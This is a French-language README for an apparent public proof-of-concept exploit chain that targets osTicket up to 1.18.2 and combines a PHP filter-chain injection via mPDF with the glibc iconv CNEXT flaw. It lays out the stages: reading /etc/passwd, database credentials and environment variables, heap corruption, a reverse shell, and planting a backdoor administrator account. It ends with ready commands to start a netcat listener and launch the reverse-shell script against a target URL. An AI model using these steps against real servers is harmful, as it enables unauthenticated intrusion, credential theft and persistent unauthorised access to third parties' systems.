Exploit en chaîne complète combinant l'injection de chaîne de filtres PHP avec CVE-2024-2961 (CNEXT) pour une exécution de code à distance sans authentification sur des installations osTicket vulnérables.
Chaîne d’exploitation complète combinant l’injection de chaîne de filtres PHP avec CVE-2024-2961 (CNEXT) pour une exécution de code à distance sans authentification sur des installations osTicket vulnérables.
Ce dépôt contient une preuve de concept d’exploitation pour CVE-2026-22200, une vulnérabilité critique touchant les versions d’osTicket ≤ 1.18.2. L’exploit associe deux techniques puissantes :
Résultat : Exécution de code à distance sans authentification sur les serveurs osTicket vulnérables.
Score CVSS : 9.8 (Critique)
L’intégration de mPDF dans osTicket permet à des utilisateurs non authentifiés d’injecter des chaînes de filtres PHP malveillantes via des charges utiles HTML spécialement conçues dans les tickets de support. Cela permet :
Cause racine : Validation insuffisante des URLs d’images dans le HTML fourni par l’utilisateur avant transmission à mPDF.
Score CVSS : 9.8 (Critique)
Dépassement de tampon dans iconv() de glibc lors du traitement du jeu de caractères ISO-2022-CN-EXT. Combiné avec des chaînes de filtres PHP, cela permet :
Versions de glibc vulnérables : < 2.39 (février 2024)
┌─────────────────────────────────────────────────────────────────┐
│ 1. RECONNAISSANCE │
│ └─ Détection d’osTicket, identification des sujets riches │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 2. AUTHENTIFICATION │
│ └─ Auto-inscription OU utilisation d’identifiants existants │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 3. EXFILTRATION DE FICHIERS (chaînes de filtres PHP) │
│ ├─ /etc/passwd │
│ ├─ include/ost-config.php (identifiants DB, SECRET_SALT) │
│ ├─ /proc/self/maps (agencement mémoire) │
│ └─ /proc/self/environ (variables d’environnement) │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 4. EMPREINTE DE LIBC │
│ ├─ Extraction partielle de libc via les chaînes de filtres │
│ ├─ Extraction du GNU Build ID │
│ └─ Téléchargement complet de libc depuis libc.rip │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 5. EXPLOITATION RCE PAR CNEXT │
│ ├─ Génération de la charge utile de corruption du tas │
│ ├─ Injection via réponse au ticket (avec corrections d’exécution des filtres) │
│ ├─ Déclenchement via export PDF (le serveur plante) │
│ └─ Exécution d’un reverse shell │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 6. POST-EXPLOITATION │
│ ├─ Reverse shell interactif │
│ ├─ Accès à la base de données (via DBPASS exfiltré) │
│ └─ Création d’un compte administrateur backdoor │
└─────────────────────────────────────────────────────────────────┘
# Cloner le dépôt
git clone https://github.com/Clarissss/osTicketFileReadIntoRCE
cd osTicketFileReadIntoRCE
# Installer les paquets requis
pip install -r requirements.txt
requirements.txt :
requests>=2.31.0
PyMuPDF>=1.23.0
Pillow>=10.0.0
pwntools>=4.11.0
python3 -m venv venv
source venv/bin/activate # Linux/macOS
# OU
venv\Scripts\activate # Windows
pip install -r requirements.txt
# Terminal 1 : Démarrer l’écouteur
nc -lvnp 4444
# Terminal 2 : Lancer l’exploit
python3 osticket_revshell.py https://cible.com/osticket \
--lhost VOTRE_IP \
--lport 4444
python3 osticket_exploit.py https://cible.com/osticket
# Utiliser un proxy (Burp Suite)
python3 osticket_revshell.py https://cible.com/osticket \
--lhost 10.0.0.5 \
--lport 4444 \
--proxy http://127.0.0.1:8080